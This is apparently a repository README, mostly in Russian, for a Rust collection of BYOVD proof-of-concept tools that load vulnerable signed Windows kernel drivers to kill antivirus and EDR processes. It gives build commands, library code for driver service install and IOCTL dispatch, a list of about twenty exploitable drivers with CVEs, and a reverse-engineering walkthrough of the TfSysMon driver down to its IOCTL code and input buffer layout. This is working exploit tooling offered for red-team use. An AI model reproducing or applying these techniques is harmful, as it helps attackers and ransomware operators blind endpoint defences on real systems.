
Исследовательские сценарии использования BYOVD, включающие обнаружение уязвимых драйверов и методологию реверс-инжиниринга. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).
BYOVD — это коллекция PoC, демонстрирующих, как уязвимые драйверы могут быть использованы для отключения решений AV/EDR.
Коллекция включает как недокументированные драйверы, так и те, которые уже описаны в LOLDDrivers или в рекомендуемых правилах блокировки драйверов от Microsoft.
С момента своего первоначального обнаружения драйвер TfSysMon был добавлен в LOLDrivers и используется группами программ-вымогателей с помощью инструмента EDRKillShifter, о чем сообщили Sophos и ESET
Метод BYOVD в последнее время набирает популярность в области наступательной безопасности, особенно с выходом таких инструментов, как Terminator от SpyBoy (продаётся за 3000 долларов) и проект ZeroMemoryEx Blackout. Эти инструменты используют уязвимые драйверы для отключения агентов AV/EDR, облегчая дальнейшие атаки за счёт снижения вероятности обнаружения.
Этот репозиторий содержит несколько PoC, разработанных в образовательных целях, помогая исследователям понять, как эти драйверы могут быть использованы для завершения процессов.
Проект организован как рабочее пространство Rust Cargo. Большинство PoC используют общую библиотеку (byovd-lib), которая обрабатывает шаблонный код: жизненный цикл службы драйвера, диспетчеризацию IOCTL, мониторинг процессов, настройку привилегий и очистку. Каждый киллер представляет собой тонкий бинарный файл (~50-100 строк), который определяет только свою конфигурацию, специфичную для драйвера. K7Terminator, Astra64-RW и Xhunter1-Killer являются автономными — у них свои объявления [workspace], и они собираются непосредственно из своих собственных каталогов, а не через корневое рабочее пространство.```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM)
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
Каждая директория `*-Killer/` содержит свои `Cargo.toml`, `src/main.rs` (реализация `DriverConfig` + CLI), `README.md` (хэши драйвера + использование) и соответствующий файл `.sys`, который загружается бинарным файлом во время выполнения.
## 🔧 Сборка
**Предварительные требования:** Rust toolchain и Visual Studio Build Tools with the Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
Бинарные файлы выводятся в target/release/. Скопируйте соответствующий файл драйвера .sys в ту же директорию, что и исполняемый файл, перед запуском.
byovd-lib — это общая библиотека, на которой построены все PoC (кроме K7Terminator). Она предоставляет два взаимодополняющих API — высокоуровневый декларативный для стандартного потока "установить драйвер, уничтожить при обнаружении, очистить", и низкоуровневый императивный для киллеров, которым требуется нестандартный поток (подключение к уже загруженному драйверу, распределение по нескольким PID, структурированные буферы IOCTL, пользовательская логика повторных попыток и т.д.). Оба API можно смешивать в одном бинарном файле.
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### Высокоуровневое API: `DriverConfig` трейт + `run()`
Это то, что используют встроенные киллеры. Реализуйте трейт, вызовите `byovd_lib::run()`, и готово.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() выполняет: preflight_check → установка службы (SERVICE_DEMAND_START) → StartService → монитор "убить при обнаружении" (Ctrl+C для выхода) → остановка + удаление службы.
Необязательные переопределения типажей с их значениями по умолчанию:
Когда поток типажа не подходит — например, драйвер уже загружен, и вы хотите выполнить только один IOCTL, вам нужна пользовательская политика повторных попыток, IOCTL принимает структурированный ввод, а не просто PID, или вы хотите разослать по всем соответствующим PID — компонуйте низкоуровневые фрагменты напрямую.
Жизненный цикл драйвера -- ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**IOCTL dispatch** -- `DeviceHandle` предоставляет пять типизированных форм:
| Метод | Используется, когда |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Оба буфера ввода и вывода, разные типы |
| `ioctl_inout<T>(code, &mut data)` | Один и тот же буфер для ввода + вывода |
| `ioctl_in<I>(code, &input)` | Только ввод, без выходного буфера |
| `ioctl_in_unchecked<I>(code, &input)` | Только ввод, игнорировать ошибки (альтернатива `ignore_ioctl_error` для каждого вызова) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Аварийный люк через сырой указатель |
Типизированные формы устраняют шаблонный код с ручным вызовом `to_ne_bytes()` / `extend_from_slice()`, когда IOCTL принимает структуру (например, `{ pid: u32, padding: [u8; 20] }`).
**Поиск процесса** -- `find_pid_by_name(name)` (первое совпадение) и `find_all_pids_by_name(name)` (все совпадения, исключает системные PID ≤ 4).
**Пользовательский цикл монитора** -- `run_monitor_loop(name, interval, |pid| ...)` принимает замыкание, позволяющее выполнять любые действия при каждом совпадении (несколько IOCTL, структурированное логирование, разветвление по PID, повтор при ошибке).
**Привилегии** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` для драйверов, требующих явных привилегий токена. `ensure_running_as_local_system()` возвращает ошибку, если процесс не запущен как `S-1-5-18`.
**Обёртки для хендлов** -- `WinHandle` (авто-`CloseHandle`) и `ScHandle` (авто-`CloseServiceHandle`) являются `Send + Sync` и могут перемещаться между потоками.
### Пример: подключение к уже загруженному драйверу, без жизненного цикла службы
Именно это делает `UnknownKiller --attach` -- полностью пропускает SCM, просто открывает устройство и один раз отправляет IOCTL:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle по-прежнему разрешаются в WinHandle / ScHandle, а get_pid_by_name сохраняется как псевдоним для find_pid_by_name, чтобы старый код, ссылающийся на эти имена, продолжал компилироваться.
Ниже приведены драйверы и соответствующие PoC, доступные в этом репозитории:
ardrv.sys от OPSWAT AppRemover.astra64.sys от EnTech Taiwan (Astra32 / TVicHW) — автономный PoC для чтения/записи в режиме ядра.BdApiUtil64.sys от Baidu AntiVirus (CVE-2024-51324).CcProtect.sys от CnCrypt.EnPortv.sys от Guidance EnCase.В этом разделе демонстрируется полная методология реверс-инжиниринга от А до Я на практическом примере драйвера TfSysMon. Этот процесс применим к анализу любого драйвера ядра Windows x64.
Проверьте импортируемые функции драйвера перед началом реверс-инжиниринга.
Для базового драйвера, убивающего процессы, требуются две вещи:
способ получить дескриптор процесса (например, ZwOpenProcess или NtOpenProcess)
способ завершить процесс (например, ZwTerminateProcess или NtTerminateProcess)
Проверьте, импортирует ли драйвер оба типа функций. Если драйвер имеет в своих импортируемых функциях Nt/ZwOpenProcess И Nt/ZwTerminateProcess, то это потенциальный кандидат в драйверы-убийцы процессов.
Только после подтверждения этих импортируемых функций следует переходить к детальному реверс-инжинирингу в IDA Pro.
Необходимые инструменты:
Каждый драйвер Windows начинается с DriverEntry — найдите эту функцию в первую очередь:
В TfSysMon DriverEntry выглядит следующим образом:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }
**Примечания по анализу:**
- Код выполняет некоторую инициализацию с использованием BugCheckParameter2 и BugCheckParameter3
- Реальная инициализация драйвера происходит в `sub_17484`
- Следуйте за вызовом `sub_17484(DriverObject)` — именно здесь происходит фактическая настройка драйвера
### 📍 Шаг 2: Проследите цепочку инициализации драйвера
**Перейдите к функции инициализации (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
Ключевые результаты реверс-инжиниринга:
\\Device\\TfSysMon (ядерное пространство)\\DosDevices\\TfSysMon (доступна из пользовательского режима как \\.\\TfSysMon)0x22 = FILE_DEVICE_UNKNOWNsub_17694Перейдите к функции диспетчеризации (sub_17694):```c
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }
**Анализ обратной разработки:**
- Сначала выполняется проверка устройства (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` определяет тип операции
- **КРИТИЧНО**: значения MajorFunction 14 (0xE) и 15 (0xF) вызывают `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = обработка IOCTL
- Уязвимый путь кода: **запрос IOCTL → sub_177D8**
### 📍 Шаг 4: Обратная разработка обработчика IOCTL
**Перейдите к функции обработки IOCTL (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
Critical Reverse Engineering Discoveries:
v7 = *(_DWORD *)(a2 + 24) gets the IOCTL code from IO_STACK_LOCATIONIrp->AssociatedIrp.MasterIrp contains user datav9 = *(unsigned int *)(a2 + 16) gets input buffer size0xB4A00404 leads to sub_1837CNavigate to the process termination function (sub_1837C):```c
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }
**Анализ функций:**
- **Структура ввода**: По анализу драйвера мы определили буферную структуру, где PID находится по смещению +4
- **Разбор ввода**: `v3 = *(void **)(a1 + 4)` извлекает PID из буфера ввода по смещению +4
- **Открытие процесса**: `ZwOpenProcess` с минимальными правами доступа (1u = PROCESS_TERMINATE)
- **Отсутствие проверок безопасности**: Нет проверки привилегий вызывающего или защиты целевого процесса
- **Завершение процесса**: Прямой вызов `ZwTerminateProcess`
- **Логика повторных попыток**: Многократные попытки как для открытия, так и для завершения
- **Любой процесс**: Может завершить любой процесс, доступный для учетной записи SYSTEM
### 📍 Шаг 6: Сопоставление полной цепочки атаки
**Полный поток обратной разработки:**
1. **Точка входа**: Пользователь вызывает `DeviceIoControl` на `\\.\\TfSysMon`
2. **Создание IRP**: Менеджер ввода-вывода создает IRP с MajorFunction = 14
3. **Диспетчеризация**: `sub_17694` направляет в `sub_177D8` для обработки IOCTL
4. **Проверка IOCTL**: `sub_177D8` проверяет код IOCTL `0xB4A00404` и размер буфера ≥ 24 байта
5. **Выполнение**: Вызов `sub_1837C` с пользовательским входным буфером
6. **Завершение**: `sub_1837C` извлекает PID из смещения +4 и завершает процесс через `ZwTerminateProcess`
**Структура входного буфера (из обратной разработки драйвера):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
Данная методология демонстрирует, как систематически выполнять реверс-инжиниринг любого драйвера ядра Windows x64 для выявления подобных уязвимостей, отслеживая путь выполнения от взаимодействия в пользовательском режиме до опасных операций в ядре.
Если BYOVD помог вашим операциям красной команды, подумайте о том, чтобы купить мне пиво:
Проект BYOVD предназначен только для образовательных и исследовательских целей. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этими программами. Всегда получайте явное разрешение перед использованием этих инструментов на любой системе.
| Метод | По умолчанию | Назначение |
|---|
device_access() | SERVICE_ALL_ACCESS | Флаги доступа CreateFileW |
skip_unload() | false | Пропустить очистку драйвера (например, драйверы, которые вызывают BSOD при выгрузке) |
ignore_ioctl_error() | false | Считать сбой IOCTL успехом (например, NSecKrnl сообщает об ошибке при успехе) |
ioctl_output_size() | 0 | Ожидаемый размер выходного буфера в байтах |
preflight_check() | Ok(()) | Проверка перед запуском (например, проверка LocalSystem) |
GameDriverX64.sys от Fedeen Games (CVE-2025-61155).GoFlyDrv.sys от Golink.HWAudioOs2Ec.sys от Huawei.K7RKScan.sys от K7 Computing (CVE-2025-52915, CVE-2025-1055) — Полное описание.ksapi64.sys / ksapi64_del.sys от Kingsoft Corporation.MonProcessEX.sys от HONOR.NSecKrnl.sys от NSEC (воспроизведение ValleyRAT BYOVD).PCTcore64.sys от PC Tools (CVE-2026-8501).PoisonX.sys от Microsoft (воспроизведение @j3h4ck)STProcessMonitor.sys от Safetica (CVE-2025-70795, поддерживает версии v11.11.4 и v11.26.18).sysmon.sys от ThreatFire System Monitor.unknown.sys от неизвестного поставщика (происхождение драйвера уточняется).viragt64.sys от Tg Soft.wsftprm.sys от Topaz Antifraud (CVE-2023-52271).xhunter1.sys от Wellbia (XIGNCODE3, CVE-2026-3609).xkpsm.sys от JiranJikyosoft X-Keeper.